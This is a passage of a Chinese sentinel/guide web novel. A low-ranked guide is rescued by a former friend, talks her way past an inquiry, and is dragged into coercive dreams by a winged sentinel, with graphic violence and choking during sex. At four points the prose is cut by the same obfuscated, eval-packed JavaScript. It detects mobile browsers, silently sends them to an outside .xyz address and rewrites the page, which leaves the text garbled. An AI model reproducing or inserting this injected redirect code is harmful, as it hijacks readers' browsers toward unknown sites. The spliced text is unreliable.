他成功的分化成了天资卓越的A级向导，并在短短三年就升到了A+，而你还是C级，一直是不死不活的C级，刚开始白莺还给你开小灶，为你着急，后来才发现是你自己好吃懒惰，不求上进，你俩在大吵一场之后，友谊的小船就彻底翻了。 再次见面，他不再允许你喊他名字。 也不再主动搭理你。 所以这次，见到是白莺带队前来营救，你相当的惊讶。尽管C级向导也算是向导，但在所有等级的向导中，属于人数最多的那个层级，替代性非常之大。出动一个A级的哨兵三人小队来找寻，都算是白塔领导对你另眼相看了。 即便是要捕获犯事儿的两个A+哨兵，S级的三人哨兵小队完全足够，目前这阵仗，确实有点过了…… 更何况， 而刚见面时，白莺对那两个A+哨兵的折磨，也让你看了就全身痛，手痛、脚痛、牙痛，你多少了解白莺的性格，根本不敢开口求情。 直到那两小崽子被手脚折断扔到了囚笼中。 “怎么？邵音你圣母病又犯了，又心疼了？” “你那什么表情？还想为这些人渣哨兵求情？” 白莺接过身边高大鳄系哨兵递过来的丝质手绢，神色愤慨的用力擦着拳头上的血迹，一边嘲讽你，一边狠踢囚笼中死活不知的两个哨兵。 你虽然不太爱计较一些琐事，可并不代表你会为‘绑架’你的罪犯共情，圣母的去恳求白莺的饶恕。 更何况准S级的向导正在气头上，你什么话都不敢说，只敢把头摇成拨浪鼓。 白莺的脸色才好看了一点。 也就一点点。 你心里知道，这两个A+哨兵，测试的潜力都是S，对白塔还是挺有价值的。 按白塔的做事风格，两个小崽子会受很重的惩罚，然后被发配到最恶劣的战场去‘将功赎罪’，但也就仅限于此了。 反正作为C级向导的你，也没受到什么实质的伤害，不是么？ 白莺不搭理你，你也不去自讨没趣的搭话了。 圣所的哨兵发出谈判的信号。 白莺留下了最精锐的队伍看管你和霍恩斯，只身上前。 你并不担心。 虽然分化成了向导，长得也一副精致到雌雄莫辩的样子，但你在这个世界上结交时间最长的这一位好友，却并不是柔弱那一挂的。 只是脾气不太好。 * 他们竖起了屏障，完全没法儿偷听。你只能大概看出，双方都谈的不是很愉快。 却并不知道他们都具体谈了什么。 左右不过那些。 不在你能够关心的范围之内。 你低头，替霍恩斯调整了一下姿势，让他在你腿上能躺得更舒服一点， 但他如铁柱般的手臂却以一种绝对护卫的姿势，死死的揽住你的腰，怎么都分不开，这也是最开始圣所哨兵捕获你们时，无法将你们强行分开的原因。 尽管你知道，他现在已经处在五感封闭的状态，理论上来说，应该是什么都感觉不到。 可你就是知道你的存在，你的气息，能给此刻正挣扎在精神图景崩溃边缘的霍恩斯，带来一种莫大的宽慰。 你微微叹气，微凉的食指轻触他的后颈，另一只手则小心翼翼的避开伤口，轻轻的抚拍着他紧绷的肩背。 那是催眠的节律，是在你的治疗室，霍恩斯最常用的那一段抚慰节律。 过往在眼前闪现。 一贯高傲矜贵的黑豹哨兵，如今战损落魄成这个样子。你心里也十分的不忍。 但更多的，你就给不了了。 每个人，包括这个世界，都有属于自己的独特命运。 起风了，有一片白色的羽毛在半空中打着旋儿，就那么慢悠悠的飘落到了你的头上，你伸手取了下来，放在掌心端详。 带有一点点圣百合花初初绽放的明媚馥郁…… 咦？ 是哨兵信息素。 陌生的、强大的，蕴藏在圣坛遮羞布之下的血腥杀戮。 你抬眼向不远处看去，白塔和圣所的哨兵已经结束了最新的一轮‘切磋’，为首的三翅鸟人正微微低头，与一脸冷意的白莺正在讨论着什么。 似乎察觉到你的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085675|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，三翅鸟人抬头，露出一个圣洁悲悯的微笑，你瞬间感到半空中有弥撒音起，圣天使飞翔，神明垂眸独独钟情与你。 你微微一窒，好厉害的思维控制啊。 于是你配合的露出了一个恍惚的微笑，心里却在想，这明明是偏向导的能力……这就是圣所的哨兵？ 你微笑了，有人却不高兴了。 只见一头雪白的巨大猫头鹰从白莺身后冲天而起，一个俯冲就撞散了圣所禁锢住你和霍恩斯的光牢。 这还不够，这只有着一双血眸的鸮鸟，在半空中一个折返，一个俯冲便撞进了你的怀里，两颗圆溜溜的血红眼眸一眨不眨的盯着你， 然后，猫头鹰的脖子270度扭转、在你惊悚的目光中，张嘴—— 一股强劲的焰流喷射而出，一下子就把你手上的白色长羽给烧得一干二净。 却没有烧到你手指哪怕一点点毫毛。 你惊叹！ 你抬头，冲着远远望过来的白莺，不吝夸耀：“莺莺好厉害！对流火的控制越来越精准了！！” 看着他此刻的表情，你就知道，战损版的黑豹哨兵，如今是属于圣所的了。 你心里隐隐约约的松了一口气。 圣所、会治好霍恩斯的吧？ 留在白塔只会退化等死，去圣所才有一线生机。 于是，你微凉的指尖搭在霍恩斯后颈上，不动声色地将藏于掌心的向导素急救针剂，拍进他的腺体。 这看似一个浅层标记。但对S+哨兵而言，C级向导素很快就能代谢干净，形不成标记，只有安抚剂的效用。 当时，在你捡到霍恩斯神游在外的黑豹精神体时，就提前做了不少准备，当然包括提取自的向导素，提纯合成非常规的安抚剂。 好处是私下操作，不必在白塔登记留痕。 坏处是……直接从腺体中抽取信息素，真特么的、疼啊！ 毕竟，除了觉醒时那次血液合成测试，这还是你首次如此使用自身向导素。 嗯，似乎效果还不错。 你能感觉到霍恩斯的呼吸渐渐平缓，死命禁锢着你的手臂也放松了一点力道。于是，你趁机把他从你腿上挪开，轻手轻脚的平放在地上早就准备好的担架中。 只不过—— 平躺在担架上的他，似乎陷入了一种说不清道不明的美梦之中。 原本紧锁的眉头微展、紧抿的唇渴慕般的微张，发出炙热的吐息；一大片艳色的红潮从后颈的腺体迅速漫延到耳后那一小块皮肤； 而破烂的衣襟下，精悍的肌肤线条蓦然紧绷、刻着凌虐血痕的蜜色的胸膛喘息般的剧烈起伏，偏偏把高傲刻入骨髓的黑豹哨兵，即便在如此意识不清的状态下，也死咬着唇、把即将脱口而出的呻吟吞入喉间…… 结合热？ 你有点慌神。 还好、圣所的束缚器微光流转、触发的管束效应使得捆缚的黑绸又缩紧了两个度，饱满的胸肌被深深的勒出了几道红痕…… 你心虚了一瞬，难道是你第一次自制向导素，没掌握好剂量？可曾为药剂师的你，虽然没有系统性的去学习这个世界的制药技术，可不至于连剂量都掌握不好…… 这、这也太敏感了吧！ 5. 那些鸟人 * 这时，洋娃娃脸的少年向导处理完与圣所的交接事务，悠悠闲闲的踱步走到了你面前，居高临下、抱臂讥讽：“哟，这么不放心啊——” “瞧瞧这黏黏糊糊的样子，恶不恶心！” 他并没有告知你谈判的结果，因为他知道—— 在你面前，他从来不会、也不必过多解释任何事情。 你把手放在霍恩斯的额头，还好，圣所出品，就是有保障。在束缚器运作之后，哨兵的体温和表征都回到了正常范围。结合热的风险排除了，你暗暗松了一口气，顺手把用完的针剂空囊偷偷藏回了睡衣口袋。 由于上课没有好好听讲，导致私下配置的安抚向导素针剂出问题，这种糗事，你才不要让白莺知道哪怕那么一点点呢~~~ 他喷洒的毒液之毒，你一点都不想自虐的去尝试。 那张美得雌雄莫辨的脸，在你眼前放大，火红的眸色中满是嫌弃之意，少年向导再次嗤笑一声，道：“怎么？抱上了就舍不得放下了？摸来摸去的、手感有这么好吗？” “你还要不要回白塔？干脆你也一并滚去圣所好了！” “怎么样啊？” “哎呀，那可不行，我是要跟莺莺走的！”你放开还贴着霍恩斯的手，仰头弯出一个讨好的笑：“我腿麻了，起不来。” 少年向导冷哼一声，粗鲁的把你从地上拽了起来，语气恶劣：“不准叫我名字！谁允许你叫我名字？” “我现在叫白鸮，白塔准S级向导，你区区一个废材C级，你应该尊称我‘雪夜流火’阁下……” 你被他拉得踉踉跄跄的朝着白塔的飞行器走去，忍不住回头看了一眼圣所飞艇所在的方向，失去了你的气息、拥抱和温度，似乎刚才注入腺体的向导素，完全不能对黑豹哨兵形成有效的安抚。 在摇摇晃晃的回望的视线中，霍恩斯在强制沉眠中暴起，却被圣所哨兵团团按住，扎了三针麻醉剂，然后捆缚着抬上了飞艇。 为首的三翅哨兵站在高处，披散的金发长及脚踝，双目束着一条有绣有圣纹的白绫，他似乎不关心任何事，只是望着你所在的方向。 可是你却有感知到一种非常强烈的被侵犯感，那样的视线似乎连你每一根发丝、每一个脚趾都在被……舔舐。 你皱眉，不由自主的把手放到了睡衣口袋里，然后一愣—— 手感不对。 使用完的向导素针剂空囊呢？ 你藏在口袋中的手指蜷缩了一下，这个物品的触感…… 此时，你们已经上了白塔的飞行器，洋娃娃脸的少年向导正在把你用力的摁在座位上，用安全带把你粗鲁的固定起来。 几乎同一时间，他也发现了你口袋里的异物—— 一枚白色的长羽。 “笑什么笑！那骚鸟的羽毛你还藏起来？？” “这种恶心吧啦的东西……” “快给我扔掉！” 白莺，不、白鸮仿佛看见什么脏得不得了的东西似的，再次控制‘流焰’把那根天使的背羽给烧得渣都不留。 他教训你：“那是瞎子给傻子抛媚眼，你不是说你不傻吗？怎么也不挑啊，就这么接下了？” “圣所今年一直在卡着天枢防线的资源供给，特别在这次事件上，可以说与白塔彻底翻脸了，你、你可长点心吧！” “那三个翅膀的鸟人，不就头发长了一点，腰细一点、屁股翘一点吗，有什么值得一看再看，走了都还在想的？” “那、那样恶臭的东西，他给？你就收？！！” 白鸮坐到你身边后，就一直在碎碎念，你默默听训，像个沉默无能的丈夫一样，不敢多吱一声。 遥想最开始的时候，你才是年长的那一个，也是训话的那一个。 可瞧瞧现在，虽然你还是年长的那一个…… 可却堕落成挨训的那一个了。 真是倒！反！天！罡！ 不过想想如今在白塔的等级差距、身为向导的工作能力差距…… 唉，还是听训吧。 这样日子过得更容易一些。 “你有没有仔细听我说话！” “在听，在听……” “那你讲讲，我刚才说了什么？” “你说了……” 唉，他刚才说了什么来着！ 你露出一脸空白的神情。 就在对方又要发火的时候—— 飞行器悬浮升空了，又弹射而出。 强大的推背力暂时打断了白鸮不休不止的问话，再加上有通讯兵找他，白鸮的注意力被引开了。你默默的松了一口气。 第一根尾羽，从空中旋落而下的时候，出现的位置和时机……明明、原本只是一片枯黄的落叶。 第二根尾羽，出现在你口袋的时候，替换的是差不多同样质量的针剂空囊…… 这就是，那个三翅鸟人的天赋能力吗？ 变异的、空间系？ 啧，这就有点麻烦了。希望你没有不经意的得罪祂。 你深感牙疼的揉了一把脸。 * 飞行器以接近音速的速度航行，内部却非常的平稳、安静。 果然不愧是白塔出品，精英部门专享座驾，比那两个A+小崽子潜入哨所基地偷摸出来的隼式飞行器坐着舒服多了。 通讯兵给了白鸮一个即时耳麦，原来是白塔的领导们，迫不及待的想知道事情的结果。 白鸮看了你一眼，没说什么，你立刻做出一个捂住双耳、表示绝不偷听的动作。 少年向导樱色的唇角旋出了一个细微的笑，倏尔又抿直了唇线。 你会意的双手合十，做出一个乖巧听话的表情。 白鸮轻咳了一声，红了耳尖扭过脸去，升起了座位上的隔离屏障，神色一肃便进入了会议。 飞行平稳。 你转过头，托腮，凝望着舷窗外远处高耸的云山云海。 心不在焉的想着回到白塔后会面临的事—— 在天赋向导日益减少的今天，C级向导虽然没那么珍贵，但也是关于基地稳定的重要劳动力。天枢防线的白塔，对于向导的控制和保护一向严密，这次的事情一出，先不提白鸮代表白塔与圣所的那个三翅哨兵达成了什么样的协议，霍恩斯最后会被怎么处理……唔，他的事情你还真没能力管。 但针对你本人，毫无根基的一个低等级平民向导，回到白塔后，肯定会有一场彻底的问询和调查在等着你…… 一个应对不好，说辞纰漏，一顿吐真剂是少不了的。 吐真剂你倒不怕，你有相当成熟的应对经验可以不被塔里怀疑，但就怕…… 被两个已经贬值为耗材的A+哨兵给绑架了，侥幸死里逃生，这一点还挺好解释的，毕竟你是一个柔软的废材C级向导，评审团会下意识的站在你的立场，谁会怀疑一个完美受害者呢？ 况且，众所周知，C级向导要抚慰好一个S+哨兵，尽管是精神力图景面临崩溃的S+，那也是巨大的、不可跨越的鸿沟…… 至于被逼迫与一个S+哨兵强行结合什么的、反正不是你的错……但引人怀疑的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085676|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你居然还能活下来，在如此巨大的等级差下是怎么活下来的？ 曾经白塔有过哨兵暴走，一个B+级的畸化哨兵绑架了一个C级，仅仅一个级别差，C级向导被强行精神链接，虽然侥幸活了下来，但精神图景在不匹配的等级差之下，被彻底捣毁，救出来的时候，四肢尽碎，□□只剩一个血洞……最后侥幸被救治回来，也成了一具行尸走肉。 同样是C级，你不但活了下来……还毫发无损…… 你肯定需要给出一个能让审判团心服口服的合理解释。 你烦躁的啧了一声，当初捡到小乖的时候就知道这是一个不小的麻烦—— 如果当时你不把它收纳到识海，它撑不了多久就消散了。 你当然也等不到两个A+小崽子偷摸到白塔来，意图随机绑架一个向导…… 啧。 头疼。 圆谎是一件困难的事~ 实在不行，你就谎称自己跟霍恩斯两情相悦、匹配度很高……毕竟现在霍恩斯已经被圣所带走了，就算查匹配度也没法查了~ 即便要查，他腺体中也有你信息素痕迹，多少能作为‘事实痕迹’把这事儿给敷衍过去。 至于霍恩斯，如果他还能保留意识、还能活下来，那么，敏锐如他，一定能猜到你的用意，从而配合你的。 你信心满满又漫无边际的胡思乱想着。 白鸮的在线汇报并没有进行多久—— “不对，你这种态度不对！”摘下通讯耳麦的白鸮，侧目看了你好一会儿，突然说：“原来，你喜好的哨兵、竟然是偏向那种畸化类型的？” “嗯、也不是不行……” “我部最近来了个A+级新人，精神体是白色天鹅，翅膀也能畸化成类似的样子，要不，回头给你送过去，也比你这么挂心挂念着那个鸟人要好……” 眼看白鸮越说越离谱，你只能从自己的思绪中暂时抽离出来，侧转身，一把捂住他的嘴。 “好了，好了，不要滥用职权，好不容易打败对手，上任惩戒部三尺之一的队长，不要说出这种把部下随意送人亵玩的混蛋话啊~~” “你变坏了啊，莺莺！” “闭嘴，不准叫我莺莺！叫我白鸮长官、雪原流火阁下！你这C级废材……” 飞行器的前座，你嬉笑着与白鸮打闹，仿佛回到了往昔时光。 后座，一排排S级哨兵静默端坐。 你闹了一会儿，就借口困了要睡觉，白鸮把座椅放平，让你躺得更舒服一点。 梦中，你回到了在避难所，你和白莺两人，一个馒头掰成两半吃的那些日子。 当时的你，认出了那个穿着脏裙子、扮着小女生行骗的小孩哥，是世界线开启后的剧情人物，于是你接近他、引导他向往白塔，向往觉醒后的‘好日子’。 但是，你却为他取名白莺，你想为他岔开命定的悲惨结局，你想让他做一个普通的B级向导就好，你想挽救他被畸变异种轮至死的命运…… 可他不听，他拿回了自己的真名—— 白鸮。 从那一刻起，他的命运，你便无法插手了。 在半梦半醒的迷蒙中，有一条轻软的薄毯搭在了你的身上，流水般的白噪音开启~ 你的睡眠耳罩中，却放起了一首不知名的圣歌…… {神明爱世人，神明却不能溺爱世人， 神明让世人走自己的路。 走泥泞的生路， 走幽寒的死路， 走世人、世间、与世世的……必经之路。} 6. 那些鸟人 落难天使 ☆ * 回到白塔。 果不其然，审判所的大门为你静静敞开。 白鸮欲言又止的看了你一眼，最后才放手任由你被一列重装哨兵给带走。 庭上。 如你所料，白塔的高层对于你如何被两个A+向导所掳走，并不太感兴趣，这一部分你随意忽悠一下就过去了。 他们感兴趣的是，霍恩斯是否深入到了白色荒野的‘污染核心’，他拿到了什么东西？他又怎么活下来的…… 而现在霍恩斯被圣所带走了，只能从你这里挖信息了。 “这么说来，一个低等级C级向导，是如何在暴走状态下的S+哨兵的手下活下来的……” “并且邵向导还毫发无损，这非常不可思议。” 审判长是一位年过半百的哨兵，长得一副官僚模样，说出来的话也相当刻薄难听。 你深吸一口气，知道属于自己的表演时刻到了。 “这有什么不可思议的？我对白塔腐朽冷漠的机制伤心透了，虽然我只有C级，我废材得连一个像样的精神体都没有，可我一直勤勤恳恳工作，以微薄之力为白塔的事业发光发热……现在遭遇这样可怕的事，您不去审判那两个犯事的哨兵，反而首先拷问我这个无辜的受害者，您是怎么想的？” “这就是我们白塔的规矩吗？” “诸位列席的尊贵陪审员，要知道，这、这是在天枢十二区的白塔啊，不是在帝国那个不把向导当人看的黑塔，难道、难道白塔现在已经背弃向哨平权的初衷了吗？那我们这些污染区出身的低级向导、穿越无数道死亡线……朝圣般的来到白塔，都是为了什么啊？” “您说啊！审判长，您看着我眼睛！” “您回答我！” 你一顿声嘶力竭的输出，旁观席上一片哗然，固然C级向导大部分都是废材，但顶不住这个级别的人多啊~ 眼看审判长脸色铁青，就要来一顿反向输出。 你立刻装晕。 而副审判长是一位神色严肃的向导，他立刻扶起了你，好言好语：“若不是犯事哨兵那里得到的信息太少，也不会一来先审问邵向导，这只是例行规矩，还请理解。” “要不，我们等审完犯事哨兵，再传唤邵向导？” 你虚弱的点点头，含泪拒绝：“我要证明我的清白，我忍受不了被怀疑的眼光一直注视着……” “我要立刻！马上！洗清冤屈！” “请、请让我喝吐真剂吧……或者，您进我的精神图景抽取记忆并公之于众，也行。” 你抱着审判台的柱子不肯走。 在陪审团的压力之下，审判长和副审判长都奈何不了你。 折中的办法自然是上吐真剂，上了吐真剂之后—— 在你乱七八糟的吐了一堆身为C级向导被歧视、打压、奴役的职场黑泥，充分调动起大众陪审团的情绪之后，你终于说到： “我承认，我违规了。” “在两年前，第一次为霍恩斯队长梳理的时候，我就与TA深度链接了！” “我们匹配度高，我们真心相爱，请问——” “这有什么问题？” 陪审团哗然，四处是交头接耳的声音，就在你打算再爆猛料的时候，有人在审判长耳边说了几句话，可恶，居然还开了屏障。 审判长宣布：“休庭。邵音向导恢复原职，无罪定论。” 事情就这么了结了。 * 你大大的松了一口气，能够避免被‘神魂检查’就是最好的结果了。 或许是吐真剂灌得过量的原因。 回到狭小宿舍的当晚—— 你做梦了。 做梦不是稀罕事儿，只不过在这个哨向设定的世界里，做梦是否可控，意味着精神力是否强大。 你进入白塔后，修习的第一个基本课程，就是思维保护，无论是哨兵或者向导，都非常重视自己的精神屏蔽与潜意识保护，以免受到污染，迷失在梦境中。 更何况，你有异世的神魂、异世的秘密，对于梦境是否自生，抑或被人侵入，你有着更精准的判断。 但这个梦境，实在伪装得太好了。 竟然直接从你来到这个世界之后，觉醒向导能力的那一刻开始。 翌日清晨，你顶着没有休息好的黑眼圈，对着破损了一个角的斑驳镜面，仔仔细细刷牙，回忆着梦境。 梦里，你晕倒在沙漠中，没有遇见部落拾荒者。 而是遇见了……落难的天使。 按道理说，你应该上前去解下捆缚在他身上的荆棘，用你水囊中最后几滴水，去润湿他干裂的唇，然后两个落难的小可怜，就这么扶持着朝着沙漠绿洲的方向走去。 你们遭遇毒蛇、遭遇流沙，夜晚互相拥抱着蜷缩在岩石下避风，清晨啜饮着岩石上的寒霜，如此、如此患难与共，最后到达绿洲。 噢、可惜， 咕噜咕噜、吐—— 你仰头漱口，然后吐出了满嘴的牙膏泡沫。 可惜，你记忆中的这一段，你救下来的是当年瘦弱得跟一个小黑猴似的白鸮。 所以，梦境中的以上剧情，都没有发生。 在昨晚的那个梦中。 你遇见了……沙漠中被荆棘束缚的落难天使，你忽视了他，直接朝着记忆中的绿洲方向走去。 当然，在这个被外力入侵的梦境中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085677|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你在沙漠中走呀走，始终走不到绿洲，而是在绿洲的边缘，绕了一圈又一圈。 直到你回到原点，奄奄一息的落难天使，被荆棘异兽缠绕得快要死去了，祂被高高的吊在半空中，殷红的血液顺着雪白袖长的小腿，一滴一滴的汇聚在地面，泛着金色杂质的天使之血，把一棵普通的荆棘异兽滋润得快要升级了…… 完全没想到啊，这个‘落难鸟人’竟然还是一个大犟种。 你没办法，只能手脚并用的爬上了荆棘异兽的最高处，然后轻而易举的把这个‘落难天使’给解救了下来…… 你原本以为自己多少会受点伤，毕竟不管是当年刚刚觉醒的你，还是如今卡在C级不上不下的废物向导，都不可能在这个荆棘异兽的手下毫发无损。 不过嘛，你的梦境你做主。 也幸好，梦境的入侵者，克制着、没有伤害你的意思。 你放下心来，把背包中的小毯子拿出来铺在沙地上，然后扶着这个鸟人躺了上去，泛着杂金的血液，很快就湿润了整个毛毯。 你检查了一下他的伤势，啧啧，太可怜了啊。 他这是把自己在哪一段曾经经历过的过去，抽取出来填充到你的梦境中了呢？ 刚才吊在树上捆缚着，还不觉得，现在一看竟然只有右边的翅膀骨架勉强完好，而左边的翅膀却仿佛被暴力扯烂过一样，撕裂的羽根裸露筋肉，颤颤巍巍的沁出鲜红细密的血珠。 天使圣洁的躯体，此刻被弄的乱七八糟，血色染就的湿糜勒痕、在玉白结实的胸膛上显得那么触目惊心，让人心生怜悯、又让人忍不住想弄得更凄惨一些…… “玩儿得这么花，真是好！变！态！啊！” 你托腮盯了半响，梦境还没结束，忍不住伸出食指戳了抽鸟人光秃秃的翅膀根儿，十分不满的抱怨：“好困啊，要怎么样才能结束啊。” 天使的胸膛起伏微弱，杂金色的血液几乎快流干了，自然回复不了你的抱怨。 啪、咕噜咕噜—— 你回头一看，是一旁的荆棘异兽俯低粗壮的枝干，讨好似的把你掉落在一旁的水囊给挪到了你的手边。 你：…… 好吧，你懂了。 你认命的拿起水囊，又小心翼翼的扶起鸟人的肩膀，把最后剩下的那几滴水喂给了他。 长睫微颤，天使就要苏醒了。 然而干燥的沙漠中，骤然起了一阵凉风，你惬意的闭上眼，抬头呼吸空气中的水汽来缓解火烧火燎的干渴~ 怀里的落难天使，身形慢慢变得透明。 一枚漂亮的长羽，于半空中慢慢飘下，再次落到了你的掌心。 这个漫长又干渴的梦境，终于结束了。 7. 那些鸟人 战损天使 ☆ * 梦醒了，就要去上班。 上班的第一天，意外的轻松。 可爱的小向导们，纷纷投喂了你各自珍藏的零食，对待你也是嘘寒问暖的，生怕触及你的伤心事，甚至连平素吝啬得像一个周扒皮的直系领导，也是一副温言软语的样子，还问你需不需要批假。 但为了全勤拿到保底的10个积分，你婉言谢绝了。 这一天就这么平平常常的过去了。平常的工作，平常的吃饭，平常睡觉……噢，不，直到睡着了，你才发现，某些地方没那么平常。 因为你又做梦了。 这个场景是在避难所，你记得当日是白塔巡卫队路过外围污染区，巡检所聚集了十四岁以下的未成年流浪汉，测试是否有觉醒的天赋。 当时的你超龄了，只是借口照顾妹妹‘白莺’，混进了检验的队伍，然后就凭借稀少的精神力，获得进入白塔的资格。 但这个承上启下的前一个梦中，一开始的‘白莺’就被某个鸟人替代了。 你自然也没办法进入白塔。 还跟监管检测的哨兵大哥争吵了起来， 正在这时候，天空中浮现辉煌的神庭，圣歌齐鸣，圣所的特招使列位出行。 在你四周，面目模糊的围观群众们，熙熙攘攘的涌向圣所凹现的神庭，狂热的祈祷圣使的祝福…… 你被拥挤的人群携裹着向前走去，来到神座之下。 有着完整双翅的圣使，牵着你的手，步入神座。 四周晃动的面孔为你欢呼、祝贺！同时，嫉妒、羡慕等诸多情绪向你涌来，你成为了圣所的向导。 之后，你的引导圣使成为了你的匹配哨兵，你们起卧、出行、学习、任务都在一起，你甚至毫不费力的升到了A级。 在圣所的日子，三年一晃而过，一切都美好得过分。 直到双翅哨兵又长出了一对新的翅膀，等级升到了S+，而你还迟迟徘徊在A级不动。按圣所的常识，配不上圣使的向导要被强行斩断一对一的匹配关系，并被发落到前线作为公用向导，以身抚慰那些沦落成兽人的黑暗哨兵。 你没有反抗，而亚利瑟斯不甘。 他以毁损了一个翅膀的代价，获得了在神庭说一不二的权柄。 你叹了口气：“亚利瑟斯，该结束了吧。” 即便是见过魔军百万、妖孽屠戮万民的你，也觉得这样的场景，委实太过了。 “嗯？”正蹲在地上，小心翼翼整理手中残破花束的三翅天使，猛然抬起头，仿佛受到了极大伤害般。 他五分委屈三分指责二分小心翼翼的问道：“阿音，是我哪里做得不够好吗？” “你做得很好，让我体验到了，原来做一个出生就在罗马的天龙向导，是多么爽的一件事！” “爽……一直这么爽下去，难道不好吗？” 你垂眸看他。 这个全身上下都泛着圣洁光芒的天使哨兵，红唇微启，即便重复着你口中不雅的词汇，说着粗俗的市井之语，也半点无损他的优雅与圣洁。 看懂了你的回答，他在祭坛的满地血污中，膝行了两步，仰首哀求着你：“阿音，你不想升级、想闲散度日，没关系，我足够强就好了。长老们不愿意我们在一起，那杀掉他们就好了……” “阿音、我能保护你，我能进化出更多的翅膀、我能让你做任何你想做的事。” “我能让你所愿，皆成现实。” “只要，音音答应和我在一起，一直在一起，好不好？” 你摇摇头，拒绝得轻描淡写又斩钉截铁。 “不好。” “非常不好。” “我想结束了，快点结束这场梦境吧，亚利瑟斯。” 你后退一步、认真的看向他的眼睛，冷淡得接近冷酷：“你给我描绘的大饼，爽是爽，可爽的层次太单薄，久而久之就有点无聊。” 你的视线扫过圣所祭坛的下方，残肢断臂，满地血污，以及被畸变圣使拦腰砍断、随意丢弃的圣所十三神使向导，还有那一排排的、挂在神廊之下的一对又一对的……哨兵翅膀。 血腥与暴力固然刺激，可久了也让人麻木。 而且，太没格调了吧。 在这个梦里，陷入得太久，你的心声，不需要额外的用语言表述出来，亚利瑟斯很容易就了解到了。 他以手握拳，在唇边轻咳了一声，又恢复了镇定。他丢开已经沾染血污的花束，站了起来。 微笑得纵容又黏腻：“原来音音是这么想的，那、确实是我不好。” 亚利瑟斯一只手把你圈进他的怀里，残破的三翅轰然张开，如遮天蔽日之势、把你笼罩在了厚重的阴影之下～ 哨兵的信息素如密集的风呼啸而至，又似把你裹进了厚重黏腻的雨云之中，直到云层外金色的圣光乍现—— 厚重的雨云中弥漫着细小的电流～ 翅尖的尾羽簌簌的抖动，尚未完全愈合的血色雾气甚至润透了原本浸染小向导甜意的最底层绒羽～ 这是个狠人！ 即便是以过往之境为精神图景的底座，但以‘自我’为棋子，毫不在意在造梦之境中伤及自己，也会在现实中造成不可逆变的损伤。 他能对自己狠，你可不能。 被强迫着攀附在天使身上，全身感官只能依靠着他的你，只能恨恨的双手胡乱抓绕、直到碰触到他敏感脆弱的翅根，用力狠挠了一把！ 呃—— 阿音、音音、我的、我的…… 他仰头微微喘息，沉浸在无法自控的高.潮中，疏漏了对刚刚抢夺来的神眼的遮蔽，于是你看见了——那是一双……什么样的眼睛啊！ 你倏然一惊，想要挣脱禁锢。 亚利瑟斯却是纵容着先让你爬出几步，然后在你即将逃离的时候，用力抓住你的脚踝，一拽—— 你再次跌入了身后哨兵的怀中，残破的羽翼再次拢紧了你，比上次更紧、更缠人。 脸上还残留着血污的圣天使闭上了眼，餍足又自得的笑： “阿音，你知不知道，你越与我契合，我便不用问，也能知道你的欲求、你的祈盼……即便，那是你不曾说出口的愿望。” “我会满足你。” “嗯？”鼻尖亲昵的抵着你，刚吃下了十三位向导血肉、从而荣登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085678|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神级哨兵的亚利瑟斯以圣音振动的频率许下承诺：“我承诺你，不觊觎另一只神眼，但至于那个人能不能自己留得住，就不要怪我了，好么？” “好么，好音音。” “我会满足你，我的向导、我的半身、我遗落之翅……” 骨节分明的大手抚上了你的颈项，一点一点的缓缓的收紧，却反复几次在你快要解脱的最后松开，一边舔吻着你被憋出来的生理性眼泪、一边低语呢喃着对不起。 你在濒死之际被反复折腾，心里烦透了这个叫‘亚利瑟斯’的鸟人。 你只能一边嗯嗯哼哼的敷衍着他，一边顺着他赤裸的胸膛往下摸索，直到在天使未褪尽的长裤中摸出一把袖珍的匕首。 你把匕首粗鲁的塞到这个鸟人手里，然后握着他的手，用力的捅向了自己。 最后的视野中—— 他的表情似乎很难过，难过得快哭了。 * 叮铃铃—— 闹铃响了。 啪、的一声关掉了床头的闹钟，你迷迷糊糊的转回被窝又睡了十分钟的回笼觉，才在第二个闹钟开始催促前，懒懒散散的掀开被窝起床。 又是一个很累的梦啊……！ 